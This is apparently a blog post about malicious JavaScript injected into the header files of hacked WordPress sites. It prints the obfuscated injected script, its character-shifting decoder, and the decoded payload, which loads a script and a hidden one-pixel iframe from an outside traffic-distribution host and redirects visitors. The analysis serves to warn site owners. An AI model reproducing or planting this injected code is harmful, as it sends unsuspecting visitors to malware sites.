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I don't know the actual mechanism by which the code was inserted into the blog, it's a small piece of Javascript inserted into the PHP header file for the site. The one person whose blog I looked at in detail was running 2.6.1, which has an exploit which allows people to create their own admin account, but it could have been any other number of issues. The current version of WordPress as of this writing is 2.9.1. UPDATE!
For what it's worth, here's the code.
<script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1')</script>That produces a function which it then runs over the second, more randomly obfuscated code.
<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script>
That then results in:
<script>document.write("<script src=\""+"http://itsallbreaksoft.net/tds/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+ encodeURIComponent(document.URL)+"&default_keyword=notdefine"+"\"><\/script>");</script>
<script>
if(typeof(h)=="undefined"){
document.write("<iframe src='http://itsallbreaksoft.net/tds/in.cgi?3&seoref="+encodeURIComponent(document.referrer)+"¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+ encodeURIComponent(document.URL)+"&default_keyword=notdefine' width=1 height=1 border=0 frameborder=0></iframe>");
}
else if(h.indexOf("http:")==0){
window.location=h;
}
</script>
That code sends your browser on a wild goose chase through several servers, each of which is inappropriately allowing the user to create a redirect to yet another site. Some of those servers are probably compromised, because in the hour I looked at one site, the same exploit code sent me to different sites in China. I would rate the odds very high that those sites may contain malware exploits against some web browsers, so if you aren't up-to-date with your browser patches, it's time to run your anti-virus software and cross your fingers.
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